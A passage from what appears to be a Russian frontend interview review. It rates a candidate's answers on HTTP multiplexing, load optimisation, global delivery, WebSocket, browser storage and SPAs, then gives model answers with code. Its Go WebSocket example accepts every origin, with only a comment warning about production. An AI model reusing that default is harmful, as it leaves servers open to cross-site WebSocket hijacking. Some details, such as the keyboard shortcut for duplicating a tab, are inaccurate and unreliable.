ТранспортTCPTCPTCPQUIC (UDP)
Head-of-line blockingДаДаНа уровне TCPНет
ШифрованиеОпциональноОпциональноДе-факто обязательноВстроено
0-RTTНетНетНетДа
Миграция соединенияНетНетНетДа

Текущее состояние

HTTP/3 активно внедряется крупными провайдерами (Cloudflare, Google, Facebook). Поддерживается всеми основными браузерами. Однако HTTP/1.1 и HTTP/2 по-прежнему широко используются, и переход на HTTP/3 происходит постепенно. Серверы обычно поддерживают несколько версий протокола одновременно, и клиент выбирает наиболее подходящую через ALPN (Application-Layer Protocol Negotiation) при TLS-рукопожатии.

Вопрос 8. Какие проблемы были у HTTP/1.1 с мультиплексированием и как их решали?

Таймкод: 00:21:34

Ответ собеседника: неполный. Кандидат не смог ответить на вопрос.

Правильный ответ:

Проблема: Head-of-Line Blocking (HoL Blocking)

В HTTP/1.1 в одном TCP-соединении запросы обрабатываются строго последовательно. Если первый запрос требует длительной обработки на сервере (например, генерация отчёта или сложный SQL-запрос), все последующие запросы в этом соединении блокируются, даже если они могли бы быть обработаны мгновенно. Это называется Head-of-Line Blocking — «блокировка начала очереди».

HTTP/1.1 поддерживает механизм pipelining, который позволяет отправлять несколько запросов без ожидания ответов. Однако ответы должны приходить в том же порядке, что и запросы. Если первый ответ задерживается, все последующие ответы блокируются, даже если они уже готовы на сервере. Из-за этой проблемы pipелining практически не использовался на практике.

Обходные решения в эпоху HTTP/1.1

1. Множественные TCP-соединения

Браузеры обходили ограничение, открывая несколько параллельных TCP-соединений к одному домену. Обычно 6-8 соединений на домен.

Connection 1: GET /style.css → ответ
Connection 2: GET /script.js → ответ
Connection 3: GET /image1.png → блокирован (долгий запрос)
Connection 4: GET /image2.png → ответ
Connection 5: GET /api/data → ответ
Connection 6: GET /font.woff2 → ответ

Недостатки: повышенная нагрузка на сервер, больше потребление памяти, дополнительные TCP- и TLS-рукопожатия, конкуренция за пропускную способность сети.

2. Domain Sharding (разделение домена)

Техника, при которой ресурсы размещаются на нескольких поддоменах, указывающих на один и тот же сервер. Это позволяет браузеру открыть больше соединений.

https://static1.example.com/image1.png
https://static2.example.com/image2.png
https://static3.example.com/style.css
https://static4.example.com/script.js

Каждый поддомен даёт ещё 6-8 соединений. Недостатки: усложнение инфраструктуры, дополнительные DNS-запросы, потеря преимуществ HTTP/2 (при переходе на HTTP/2 sharding становится антипаттерном).

3. Спрайты (CSS Sprites)

Объединение множества мелких изображений (иконок, элементов интерфейса) в одно большое изображение. Это уменьшает количество HTTP-запросов.

.icon-home {
background: url('sprites.png') 0 0;
width: 32px;
height: 32px;
}
.icon-settings {
background: url('sprites.png') -32px 0;
width: 32px;
height: 32px;
}

Недостатки: сложность поддержки, загрузка лишних данных, невозможность кэшировать отдельные иконки независимо.

4. Конкатенация файлов

Объединение нескольких CSS или JavaScript файлов в один для уменьшения количества запросов.

# До сборки
style1.css, style2.css, style3.css → 3 запроса

# После сборки
bundle.css → 1 запрос

Недостатки: потеря гранулярного кэширования (изменение одного файла инвалидирует весь бандл), увеличение начального размера загрузки.

5. Inlining (встраивание ресурсов)

Встраивание критических ресурсов прямо в HTML:

<style>
/* Критический CSS */
.header { ... }
</style>
<script>
/* Критический JS */
</script>
<img src="data:image/png;base64,iVBORw0KGgo...">

Недостатки: увеличение размера HTML, невозможность кэширования отдельно от страницы, дублирование при загрузке нескольких страниц.

6. Использование CDN

Размещение статических ресурсов на географически распределённых серверах для уменьшения задержки и распределения нагрузки.

Решение в HTTP/2

HTTP/2 решил проблему HoL Blocking на уровне приложения через мультиплексирование:

  • Множество запросов и ответов передаются параллельно в одном TCP-соединении через независимые потоки (streams).
  • Каждый поток имеет свой идентификатор и может обрабатываться независимо.
  • Ответ на быстрый запрос не ждёт завершения медленного.

Однако HTTP/2 не решил HoL Blocking на уровне TCP: потеря одного TCP-пакета блокирует все потоки в соединении. Эта проблема была решена только в HTTP/3 с переходом на QUIC.

Антипаттерны при переходе на HTTP/2

Техники, которые были полезны в HTTP/1.1, становятся контрпродуктивными в HTTP/2:

  • Domain sharding — лишний, так как одно соединение уже мультиплексировано.
  • Спрайты — лучше загружать файлы отдельно для гранулярного кэширования.
  • Чрезмерная конкатенация — лучше разбить на мелкие модули с правильным кэшированием.

Вопрос 9. Какие способы оптимизации загрузки контента и сетевых запросов в браузере существуют?

Таймкод: 00:22:35

Ответ собеседника: неполный. Кандидат назвал сжатие данных, tree shaking и оптимизацию изображений, но не упомял CDN, кэширование, lazy loading, code splitting, prefetching и уменьшение количества запросов.

Правильный ответ:

1. Сжатие данных

Уменьшение объёма передаваемых данных на уровне сервера.

  • Gzip — наиболее распространённый алгоритм сжатия. Сжимает текстовые ресурсы на 60-80%. Поддерживается всеми браузерами.
  • Brotli (br) — более современный алгоритм от Google. Обеспечивает на 15-25% лучшее сжатие по сравнению с gzip. Поддерживается всеми современными браузерами.
  • Zstd (zstandard) — алгоритм от Facebook, быстрее gzip при сопоставимом сжатии. Постепенно набирает поддержку.

Настройка на сервере (nginx):

gzip on;
gzip_types text/plain text/css application/json application/javascript text/xml;
gzip_min_length 256;

# Brotli
brotli on;
brotli_types text/plain text/css application/json application/javascript text/xml;
brotli_comp_level 6;

2. Кэширование

Использование кэша для избежания повторной загрузки ресурсов.

  • HTTP-кэширование — заголовки Cache-Control, ETag, Expires, Last-Modified. Позволяет браузеру хранить ресурсы локально и проверять их актуальность.
Cache-Control: max-age=31536000, public
ETag: "abc123"
  • Service Worker — программируемый сетевой прокси, позволяющий кэшировать ресурсы и API-ответы, работать офлайн.
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((cached) => {
return cached || fetch(event.request).then((response) => {
return caches.open('v1').then((cache) => {
cache.put(event.request, response.clone());
return response;
});
});
})
);
});
  • LocalStorage / SessionStorage / IndexedDB — клиентское хранилище для данных приложения.

3. CDN (Content Delivery Network)

Распределённая сеть серверов, которая доставляет контент с ближайшего к пользователю узла. Уменьшает задержку, распределяет нагрузку, обеспечивает отказоустойчивость.

Примеры: Cloudflare, AWS CloudFront, Google Cloud CDN, Akamai.

4. Lazy Loading (ленивая загрузка)

Загрузка ресурсов только когда они действительно нужны.

  • Изображения — нативный атрибут loading="lazy":
<img src="image.jpg" loading="lazy" alt="Описание">
  • Компоненты — динамический импорт в фреймворках:
// React
const HeavyComponent = React.lazy(() => import('./HeavyComponent'));

// Vue
const HeavyComponent = () => import('./HeavyComponent');
  • Iframes:
<iframe src="video.html" loading="lazy"></iframe>

5. Code Splitting (разделение кода)

Разделение бандла на части, которые загружаются по требованию.

  • По маршрутам — каждый маршрут приложения загружается отдельно.
  • По компонентам — тяжёлые компоненты загружаются отдельно.
  • Vendor splitting — выделение сторонних библиотек в отдельный файл.
// Webpack
optimization: {
splitChunks: {
chunks: 'all',
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
chunks: 'all',
},
},
},
}

6. Prefetching и Preloading

Проактивная загрузка ресурсов, которые понадобятся в ближайшем будущем.

  • <link rel="preload"> — загрузка критических ресурсов с высоким приоритетом:
<link rel="preload" href="critical-font.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="hero-image.jpg" as="image">
<link rel="preload" href="critical.css" as="style">
  • <link rel="prefetch"> — загрузка ресурсов, которые могут понадобиться при переходе на следующую страницу:
<link rel="prefetch" href="/next-page-data.json">
  • <link rel="preconnect"> — раннее установление соединения с другим доменом:
<link rel="preconnect" href="https://api.example.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • <link rel="dns-prefetch"> — ранний DNS-резолвинг:
<link rel="dns-prefetch" href="https://api.example.com">

7. Оптимизация изображений

  • Форматы — WebP и AVIF обеспечивают лучшее сжатие, чем JPEG и PNG.
  • Адаптивные изображенияsrcset и sizes для загрузки изображений подходящего размера:
<img srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
sizes="(max-width: 600px) 480px, (max-width: 1000px) 800px, 1200px"
src="medium.jpg" alt="Описание">
  • <picture> — выбор формата в зависимости от поддержки браузером:
<picture>
<source srcset="image.avif" type="image/avif">
<source srcset="image.webp" type="image/webp">
<img src="image.jpg" alt="Описание">
</picture>
  • Сжатие — использование инструментов (ImageOptim, Squoosh, Sharp) для уменьшения размера без потери качества.

8. Уменьшение количества запросов

  • Объединение CSS и JS файлов (в разумных пределах для HTTP/2).
  • Использование SVG-спрайтов вместо отдельных файлов.
  • Inlining критических ресурсов.
  • Использование HTTP/2 для мультиплексирования.

9. Tree Shaking

Удаление неиспользуемого кода из финального бандла. Работает только с ES-модулями (статическая структура импортов).

// utils.js
export function usedFunction() { return 1; }
export function unusedFunction() { return 2; } // будет удалена

// main.js
import { usedFunction } from './utils';

10. Оптимизация шрифтов

  • font-display: swap — показывать системный шрифт до загрузки кастомного.
  • Подмножествование шрифтов (subsetting) — включение только нужных символов.
  • Предзагрузка критических шрифтов.
  • Использование woff2 — наиболее компактный формат.
@font-face {
font-family: 'CustomFont';
src: url('font.woff2') format('woff2');
font-display: swap;
}

11. Оптимизация TLS

  • Session Resumption — повторное использование параметров предыдущей сессии.
  • OCSP Stapling — ускорение проверки отзыва сертификата.
  • TLS 1.3 — ускоренное рукопожатие (1-RTT вместо 2-RTT).
  • Early Data (0-RTT) — отправка данных при повторном подключении без ожидания.

12. Приоритизация ресурсов

HTTP/2 позволяет указать приоритеты для потоков. Браузеры автоматически расставляют приоритеты, но разработчик может влиять через:

  • preload для критических ресурсов.
  • async/defer для скриптов.
  • fetchpriority (экспериментальный):
<img src="hero.jpg" fetchpriority="high">
<script src="analytics.js" fetchpriority="low"></script>

13. Мониторинг и метрики

Измерение реальной производительности для принятия решений:

  • Core Web Vitals — LCP (Largest Contentful Paint), FID (First Input Delay), CLS (Cumulative Layout Shift).
  • Lighthouse — аудит производительности от Google.
  • WebPageTest — детальный анализ загрузки.
  • Real User Monitoring (RUM) — сбор метрик от реальных пользователей.

Вопрос 10. Как обеспечить быструю загрузку сайта для пользователей в разных регионах (Россия, Китай, Южная Африка)?

Таймкод: 00:24:01

Ответ собеседника: неполный. Кандидат предложил использовать CDN, но не упомянул другие важные методы: географическое распределение серверов, edge computing, оптимизацию критического пути рендеринга, использование HTTP/2 или HTTP/3.

Правильный ответ:

1. CDN (Content Delivery Network)

Базовый и наиболее эффективный способ доставки контента пользователям по всему миру. CDN размещает копии статических ресурсов на множестве географически распределённых серверов (PoP — Points of Presence). Пользователь получает контент с ближайшего узла.

При выборе CDN для глобального покрытия важно учитывать:

  • Покрытие регионов — наличие PoP в целевых регионах (Россия, Китай, Африка). Не все CDN имеют одинаковое покрытие.
  • Поддержка китайского рынка — для работы в Китае требуется ICP-лицензия и локальные партнёры. CDN вроде Alibaba Cloud CDN, Tencent Cloud CDN или Cloudflare China Network.
  • Соглашения о пиринге — качество соединения между CDN и локальными провайдерами.

Примеры CDN с глобальным покрытием: Cloudflare, AWS CloudFront, Akamai, Fastly, Google Cloud CDN.

2. Географическое распределение серверов (Multi-Region Deployment)

Для динамического контента и API недостаточно только CDN. Необходимо размещать серверы в нескольких регионах:

  • Multi-region архитектура — деплой бэкенда в нескольких дата-центрах (Европа, Азия, Африка).
  • GeoDNS / Geo-routing — направление пользователя на ближайший сервер на основе его IP-адреса.
user in Russia → DNS resolves to EU-West server
user in China → DNS resolves to Asia-Pacific server
user in Africa → DNS resolves to Africa-South server
  • Anycast — маршрутизация к ближайшему серверу через один и тот же IP-адрес на уровне сети.

Реализация в облаке:

# Пример конфигурации AWS Route 53 для geo-routing
RoutingPolicy: Geolocation
Records:
- Region: EU
HealthCheck: eu-server.example.com
- Region: Asia-Pacific
HealthCheck: apac-server.example.com
- Region: Africa
HealthCheck: africa-server.example.com

3. Edge Computing

Выполнение логики на границе сети (edge), максимально близко к пользователю, вместо отправки запросов на центральный сервер.

  • Edge Functions — бессерверные функции, выполняемые на CDN-узлах (Cloudflare Workers, AWS Lambda@Edge, Vercel Edge Functions).
  • Edge-side includes (ESI) — сборка страницы из кэшированных и динамических частей на уровне edge.

Пример Cloudflare Worker:

addEventListener('fetch', (event) => {
event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
const country = request.cf.country;

// Персонализация контента на основе региона
let response = await fetch('https://origin.example.com/page');
let html = await response.text();

if (country === 'CN') {
html = html.replace('{{region}}', 'Добро пожаловать, Китай!');
} else if (country === 'RU') {
html = html.replace('{{region}}', 'Добро пожаловать, Россия!');
}

return new Response(html, {
headers: { 'Content-Type': 'text/html' }
});
}

4. Оптимизация критического пути рендеринга (Critical Rendering Path)

Минимизация времени до первого отображения контента:

  • Inlining критического CSS — встраивание стилей, необходимых для отображения видимой части страницы, прямо в HTML.
  • Defer некритических ресурсов — отложенная загрузка CSS и JS, не блокирующих рендеринг.
<!-- Критический CSS inline -->
<style>
.header, .hero { /* стили для первой экранной области */ }
</style>

<!-- Некритический CSS загружается асинхронно -->
<link rel="preload" href="styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">

<!-- Скрипты с defer или async -->
<script src="app.js" defer></script>
  • Server-Side Rendering (SSR) — генерация HTML на сервере для быстрого отображения контента до загрузки JavaScript.
  • Static Site Generation (SSG) — предварительная генерация страниц на этапе сборки.

5. Использование HTTP/2 и HTTP/3

  • HTTP/2 — мультиплексирование запросов в одном соединении, сжатие заголовков HPACK, server push.
  • HTTP/3 — устранение TCP head-of-line blocking, 0-RTT соединение, лучшая производительность в условиях нестабильной связи (актуально для Африки и удалённых регионов).

6. Оптимизация для медленных соединений

Пользователи в некоторых регионах могут иметь медленные или нестабильные соединения:

  • Адаптивная загрузка — определение качества соединения и загрузка ресурсов соответствующего качества.
const connection = navigator.connection;
if (connection && connection.effectiveType === 'slow-2g') {
// Загрузить облегчённую версию
loadLightVersion();
}
  • Оффлайн-поддержка — Service Worker для кэширования и работы без сети.
  • Progressive enhancement — базовая функциональность работает без JavaScript, улучшения загружаются дополнительно.

7. Оптимизация DNS

  • DNS Prefetching — ранний резолвинг доменов.
  • Быстрые DNS-провайдеры — использование провайдеров с глобальным покрытием (Cloudflare 1.1.1.1, Google 8.8.8.8).

8. Оптимизация TCP/TLS

  • TCP Fast Open — отправка данных в первом SYN-пакете.
  • TLS 1.3 — ускоренное рукопожатие.
  • Connection coalescing — повторное использование существующих соединений для разных доменов, указывающих на один IP.

9. Регуляторные и инфраструктурные особенности

  • Китай — Великий файрвол (GFW) замедляет международный трафик. Необходимо размещать серверы внутри Китая и иметь ICP-лицензию. Использовать CDN с локальным покрытием.
  • Россия — требования к локализации данных (ФЗ-152). Размещение серверов на территории РФ.
  • Африка — ограниченная инфраструктура, высокая стоимость международного трафика. Использование локальных дата-центров (AWS Africa в Кейптауне, Azure в ЮАР).

10. Мониторинг и аналитика

  • Real User Monitoring (RUM) — сбор метрик производительности от реальных пользователей в разных регионах.
  • Synthetic Monitoring — регулярное тестирование из разных точек мира (WebPageTest, Pingdom, GTmetrix).
  • Core Web Vitals — мониторинг LCP, FID, CLS для каждого региона.

Вопрос 11. Что такое WebSocket и для чего он используется?

Таймкод: 00:24:49

Ответ собеседния: неполный. Кандидат рассказал про постоянное соединение и упомянул чат как пример, но не упомянул двунаправленную связь, отличия от HTTP polling, протокол ws/wss и фреймы.

Правильный ответ:

Что такое WebSocket

WebSocket — это протокол полнодуплексной (двунаправленной) связи поверх одного TCP-соединения. В отличие от HTTP, где клиент всегда инициирует запрос, WebSocket позволяет и клиенту, и серверу отправлять сообщения в любое время без необходимости новых запросов.

WebSocket описан в RFC 6455. Протокол работает поверх TCP и использует схемы ws:// (незашифрованное соединение) и wss:// (зашифрованное соединение через TLS).

Как устанавливается соединение

WebSocket начинается как HTTP-запрос с заголовком Upgrade, а затем происходит «переключение протоколов» (protocol upgrade):

GET /ws HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

Сервер отвечает:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

После этого HTTP-соединение превращается в WebSocket-соединение. Соединение остаётся открытым, и обе стороны могут отправлять данные в любое время.

Структура фреймов

Данные в WebSocket передаются в виде фреймов (frames). Каждый фрейм имеет минимальный заголовок:

  • FIN (1 бит) — указывает, является ли фрейм последним в сообщении.
  • Opcode (4 бита) — тип данных:
    • 0x0 — continuation frame (продолжение предыдущего фрейма).
    • 0x1 — text frame (текстовые данные, UTF-8).
    • 0x2 — binary frame (бинарные данные).
    • 0x8 — close (закрытие соединения).
    • 0x9 — ping (проверка соединения).
    • 0xA — pong (ответ на ping).
  • Mask (1 бит) — указывает, замаскированы ли данные (клиент всегда маскирует).
  • Payload length — длина данных (7 бит, 7+16 бит или 7+64 бит).
  • Masking key (4 байта) — ключ маскировки (если Mask=1).
  • Payload — полезная нагрузка.

Минимальный размер заголовка фрейма — 2 байта, что значительно меньше, чем у HTTP-запроса.

Отличие от HTTP polling

HTTP Polling — клиент периодически отправляет запросы серверу для проверки новых данных:

Клиент: GET /messages → Сервер: 200 OK, []
Клиент: GET /messages → Сервер: 200 OK, []
Клиент: GET /messages → Сервер: 200 OK, [{text: "Hello"}]

Недостатки: задержка между появлением данных и следующим опросом, накладные расходы на HTTP-заголовки при каждом запросе, нагрузка на сервер.

HTTP Long Polling — клиент отправляет запрос, сервер удерживает его до появления данных или таймаута:

Клиент: GET /messages → Сервер ждёт 30 секунд → 200 OK, [{text: "Hello"}]
Клиент: GET /messages → Сервер ждёт 30 секунд → 200 OK, []

Лучше обычного polling, но всё равно есть задержки и накладные расходы на повторное установление соединений.

WebSocket — постоянное соединение, данные передаются мгновенно в обе стороны:

Клиент ←→ Сервер: постоянное соединение
Сервер → Клиент: {text: "Hello"} (мгновенно)
Клиент → Сервер: {text: "Hi"} (мгновенно)

Пример использования в браузере

const socket = new WebSocket('wss://api.example.com/ws');

// Соединение установлено
socket.onopen = function (event) {
console.log('Connected');
socket.send(JSON.stringify({ type: 'subscribe', channel: 'chat' }));
};

// Получено сообщение
socket.onmessage = function (event) {
const data = JSON.parse(event.data);
console.log('Received:', data);
};

// Ошибка
socket.onerror = function (error) {
console.error('WebSocket error:', error);
};

// Соединение закрыто
socket.onclose = function (event) {
console.log('Disconnected:', event.code, event.reason);
};

// Отправка сообщения
socket.send(JSON.stringify({ type: 'message', text: 'Hello!' }));

Пример сервера на Go

package main

import (
"log"
"net/http"
"github.com/gorilla/websocket"
)

var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // В продакшене нужна проверка origin
},
}

func handleWebSocket(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println("Upgrade error:", err)
return
}
defer conn.Close()

for {
// Чтение сообщения
messageType, message, err := conn.ReadMessage()
if err != nil {
log.Println("Read error:", err)
break
}
log.Printf("Received: %s", message)

// Отправка ответа
err = conn.WriteMessage(messageType, message)
if err != nil {
log.Println("Write error:", err)
break
}
}
}

func main() {
http.HandleFunc("/ws", handleWebSocket)
log.Fatal(http.ListenAndServe(":8080", nil))
}

Сценарии использования

  • Чаты и мессенджеры — мгновенная доставка сообщений.
  • Онлайн-игры — синхронизация состояния между игроками в реальном времени.
  • Биржевые котировки — обновление цен в реальном времени.
  • Совместное редактирование — Google Docs, Figma.
  • Уведомления — push-уведомления в веб-приложениях.
  • IoT — мониторинг устройств в реальном времени.
  • Живые ленты — социальные сети, спортивные трансляции.

Преимущества WebSocket

  • Низкая задержка — данные передаются мгновенно.
  • Минимальные накладные расходы — заголовок фрейма от 2 байт.
  • Двунаправленная связь — сервер может отправлять данные без запроса клиента.
  • Одно соединение — нет необходимости в повторных HTTP-запросах.

Ограничения WebSocket

  • Сложность масштабирования — необходимо поддерживать постоянные соединения.
  • Нет автоматического переподключения — нужно реализовывать вручную.
  • Нет встроенного кэширования — в отличие от HTTP.
  • Прокси и файрволы — некоторые корпоративные прокси блокируют WebSocket.
  • Нет мультиплексирования — для разных каналов нужно реализовывать свою логику.

WebSocket vs SSE vs Long Polling

ХарактеристикаWebSocketSSELong Polling
НаправлениеДвунаправленноеСервер → КлиентКлиент → Сервер
Протоколws/wssHTTPHTTP
ЗадержкаМинимальнаяНизкаяСредняя
СложностьСредняяНизкаяНизкая
ПереподключениеВручнуюАвтоматическоеАвтоматическое
Бинарные данныеДаНет (только текст)Да

Вопрос 12. Какие способы хранения данных в браузере существуют и чем они отличаются?

Таймкод: 00:26:40

Ответ собеседника: неполный. Кандидат назвал cookies, localStorage, sessionStorage и IndexedDB, но не смог точно объяснить разницу между localStorage и sessionStorage, не упомянул ограничения по размеру и особенности работы с разными вкладками.

Правильный ответ:

1. Cookies

Cookies — самый старый механизм хранения данных в браузере. Изначально созданы для передачи состояния между клиентом и сервером.

Характеристики:

  • Размер: до 4 КБ на cookie.
  • Срок жизни: задаётся через Expires или Max-Age. Без указания — удаляется при закрытии браузера (session cookie).
  • Доступность: автоматически отправляются с каждым HTTP-запросом к домену (через заголовок Cookie).
  • Область видимости: доступны на всех вкладках и окнах одного браузера.
  • Безопасность: флаги HttpOnly (недоступен из JavaScript), Secure (только через HTTPS), SameSite (защита от CSRF).

Установка с сервера:

Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600

Установка из JavaScript:

document.cookie = 'theme=dark; path=/; max-age=86400; secure; samesite=lax';

Чтение:

const cookies = document.cookie; // "theme=dark; session_id=abc123"

Недостатки: малый размер, накладные расходы на переду с каждым запросом, сложность API.

2. localStorage

Хранилище типа «ключ-значение» с персистентным хранением данных.

Характеристики:

  • Размер: 5-10 МБ (зависит от браузера).
  • Срок жизни: данные хранятся бессрочно, пока не будут удалены программно или пользователем.
  • Доступность: не отправляется на сервер автоматически.
  • Область видимости: общий для всех вкладок и окон одного origin. Изменения в одной вкладке видны в других.
  • Тип данных: только строки. Для объектов нужно использовать JSON.stringify/JSON.parse.

API:

// Сохранение
localStorage.setItem('user', JSON.stringify({ name: 'John', age: 30 }));

// Чтение
const user = JSON.parse(localStorage.getItem('user'));

// Удаление
localStorage.removeItem('user');

// Очистка всего хранилища
localStorage.clear();

// Количество элементов
localStorage.length;

Событие storage — позволяет отслеживать изменения из других вкладок:

window.addEventListener('storage', (event) => {
console.log('Key:', event.key);
console.log('Old value:', event.oldValue);
console.log('New value:', event.newValue);
console.log('URL:', event.url);
});

3. sessionStorage

Аналогичен localStorage, но с ограниченной областью видимости.

Характеристики:

  • Размер: 5-10 МБ.
  • Срок жизни: данные хранятся только в рамках одной вкладки. Удаляются при закрытии вкладки.
  • Область видимости: изолирован для каждой вкладки. Открытие того же URL в новой вкладке создаёт новую сессию.
  • Клонирование: при дублировании вкладки (Ctrl+Shift+T или «Дублировать») sessionStorage копируется в новую вкладку.

API идентичен localStorage:

sessionStorage.setItem('tempData', 'value');
const data = sessionStorage.getItem('tempData');

Важно: sessionStorage НЕ привязан к HTTP-сессии. Это распространённое заблуждение. Данные удаляются при закрытии вкладки, а не при истечении серверной сессии.

4. IndexedDB

Полноценная объектно-ориентированная база данных в браузере.

Характеристики:

  • Размер: обычно 50% от доступного дискового пространства (сотни МБ или ГБ).
  • Срок жизни: персистентное хранение.
  • Тип данных: любые структурированные данные, включая файлы и Blob.
  • Индексы: поддержка индексов для быстрого поиска.
  • Транзакции: ACID-транзакции для надёжности.
  • Асинхронность: все операции асинхронные (на основе событий).

Пример использования:

// Открытие базы данных
const request = indexedDB.open('MyDatabase', 1);

request.onupgradeneeded = (event) => {
const db = event.target.result;

// Создание хранилища объектов (аналог таблицы)
const store = db.createObjectStore('users', { keyPath: 'id', autoIncrement: true });

// Создание индексов
store.createIndex('email', 'email', { unique: true });
store.createIndex('name', 'name', { unique: false });
};

request.onsuccess = (event) => {
const db = event.target.result;

// Добавление данных
const transaction = db.transaction(['users'], 'readwrite');
const store = transaction.objectStore('users');
store.add({ name: 'John', email: 'john@example.com' });

// Чтение данных
const getRequest = store.get(1);
getRequest.onsuccess = () => {
console.log('User:', getRequest.result);
};

// Поиск по индексу
const index = store.index('email');
const findRequest = index.get('john@example.com');
findRequest.onsuccess = () => {
console.log('Found by email:', findRequest.result);
};
};

5. Cache API (Service Worker Cache)

Хранилище для кэширования HTTP-запросов и ответов. Используется в Service Worker для офлайн-работы.

Характеристики:

  • Размер: зависит от доступного дискового пространства.
  • Тип данных: пары Request/Response.
  • Доступ: только из Service Worker и основного потока через caches.
// Открытие кэша
const cache = await caches.open('v1');

// Добавление ответа
await cache.put('/api/data', new Response(JSON.stringify({ data: 'value' })));

// Получение ответа
const response = await cache.match('/api/data');

// Добавление нескольких ресурсов
await cache.addAll([
'/style.css',
'/script.js',
'/image.png'
]);

6. Web SQL Database (устаревший)

Реляционная база данных на основе SQLite. Спецификация устарела и не рекомендуется к использованию. Поддерживается только в некоторых браузерах.

7. File System Access API

Доступ к файловой системе пользователя (с его разрешения). Позволяет читать и записывать файлы.

// Открытие файла
const [fileHandle] = await window.showOpenFilePicker();
const file = await fileHandle.getFile();
const content = await file.text();

Сравнительная таблица

ХарактеристикаCookieslocalStoragesessionStorageIndexedDBCache API
Размер4 КБ5-10 МБ5-10 МБ50%+ дискаЗависит от диска
Срок жизниНастраиваемыйБессрочноВкладкаБессрочноБессрочно
Отправка на серверДаНетНетНетНет
Доступ из SWНетНетНетНетДа
Тип данныхСтрокаСтрокаСтрокаЛюбойRequest/Response
ИндексыНетНетНетДаНет
ТранзакцииНетНетНетДаНет
АсинхронностьНетНетНетДаДа

Рекомендации по выбору

  • Cookies — для аутентификации и данных, которые нужны серверу.
  • localStorage — для простых настроек пользователя (тема, язык).
  • sessionStorage — для временных данных формы, состояния вкладки.
  • IndexedDB — для больших объёмов структурированных данных, офлайн-приложений.
  • Cache API — для кэширования ресурсов и офлайн-работы через Service Worker.

Вопрос 13. Что такое SPA (Single Page Application) и какие у него преимущества и недостатки?

Таймкод: 00:29:44

Ответ собеседника: неполный. Кандидат рассказал о концепции SPA, назвал основные преимущества и недостатки, но не упомянул сложность управления состоянием, проблемы с историей браузера и требования к JavaScript.

Правильный ответ:

Что такое SPA

Single Page Application — это архитектура веб-приложения, при котором вся страница загружается один раз, а последующее взаимодействие происходит без полной перезагрузки страницы. JavaScript динамически обновляет DOM, загружает данные через API и управляет навигацией на клиенте.

В отличие от традиционного многостраничного приложения (MPA), где каждый переход вызывает полную перезагрузку страницы с сервера, SPA загружает HTML, CSS и JavaScript один раз, а дальше работает как настольное приложение.

Как работает SPA

  1. При первом заходе браузер загружает минимальный HTML-файл (обычно пустой <div id="root">), CSS и JavaScript-бандл.
  2. JavaScript-фреймворк (React, Vue, Angular) инициализируется и рендерит начальный интерфейс.
  3. При навигации JavaScript перехватывает клики по ссылкам, обновляет URL через History API, загружает данные и перерисовывает только изменившиеся части интерфейса.
  4. Все данные загружаются асинхронно через REST API или GraphQL.

Преимущества SPA

Отзывчивость и UX — отсутствие полной перезагрузки страниц создаёт ощущение настольного приложения. Переходы между страницами мгновенные, можно добавить анимации и плавные переходы.

Меньше трафика — после начальной загрузки передаются только данные (JSON), а не полные HTML-страницы с повторяющейся разметкой.

Разделение фронтенда и бэкенда — фронтенд и бэкенд развиваются независимо. API может обслуживать веб-приложение, мобильное приложение и сторонние интеграции.

Кэширование на клиенте — данные можно кэшировать локально и работать офлайн (с Service Worker).

Разработка компонентов — фреймворки SPA поощряют компонентный подход, переиспользуемость кода.

Недостатки SPA

Долгая первоначальная загрузка — JavaScript-бандл может быть большим (сотни КБ или МБ), и пользователь видит пустую страницу до его загрузки и выполнения. Это особенно критично на медленных соединениях.

Проблемы с SEO — поисковые боты исторически плохо индексировали JavaScript-приложения. Хотя Google улучшил рендеринг JS, другие поисковики (Яндекс частично, Bing) могут испытывать проблемы. Решение: SSR (Server-Side Rendering) или SSG (Static Site Generation).

Зависимость от JavaScript — если JavaScript не загрузился или отключён, приложение не работает вообще. Пользователь видит пустую страницу.

Сложность управления состоянием — по мере роста приложения управление состоянием становится сложным. Требуются специализированные библиотеки (Redux, Vuex, Zustand, Pinia) и паттерны.

Проблемы с историей браузера — необходимо вручную управлять историей навигации через History API (pushState, replaceState), обрабатывать кнопки «Назад» и «Вперёд».

// Пример управления историей
history.pushState({ page: 'profile' }, 'Profile', '/profile');
window.addEventListener('popstate', (event) => {
// Обработка нажатия кнопки «Назад»
navigateTo(event.state.page);
});

Утечка памяти — в долго работающем SPA легко допустить утечки памяти: незаписанные обработчики событий, глобальные переменные, кэши.

Сложность аналитики — стандартные инструменты аналитики (Google Analytics) рассчитаны на полные перезагрузки страниц. Для SPA нужно настраивать отслеживание виртуальных просмотров страниц.

Безопасность — больше кода выполняется на клиенте, что увеличивает поверхность атаки. XSS становится более критичной уязвимостью.

Архитектурные решения для недостатков SPA

SSR (Server-Side Rendering) — рендеринг на сервере для первого запроса, затем переход в режим SPA. Решает проблемы с SEO и начальной загрузкой.

Сервер → полный HTML → браузер → гидратация → SPA

Фреймворки: Next.js (React), Nuxt.js (Vue), Angular Universal.

SSG (Static Site Generation) — предварительная генерация всех страниц на этапе сборки. Идеально для контентных сайтов.

Code Splitting — разделение бандла на части, загружаемые по требованию.

// React.lazy для разделения по маршрутам
const Profile = React.lazy(() => import('./pages/Profile'));

Skeleton screens — показ скелетона страницы вместо спиннера для улучшения восприятия загрузки.

Prefetching — предзагрузка данных для страниц, на которые пользователь вероятно перейдёт.

Когда выбирать SPA

  • Интерактивные веб-приложения (панели управления, редакторы, CRM).
  • Приложения с богатым пользовательским интерфейсом.
  • Команды с опытом работы с современными фреймворками.

Когда не выбирать SPA

  • Контентные сайты с преимущественно статическим контентом.
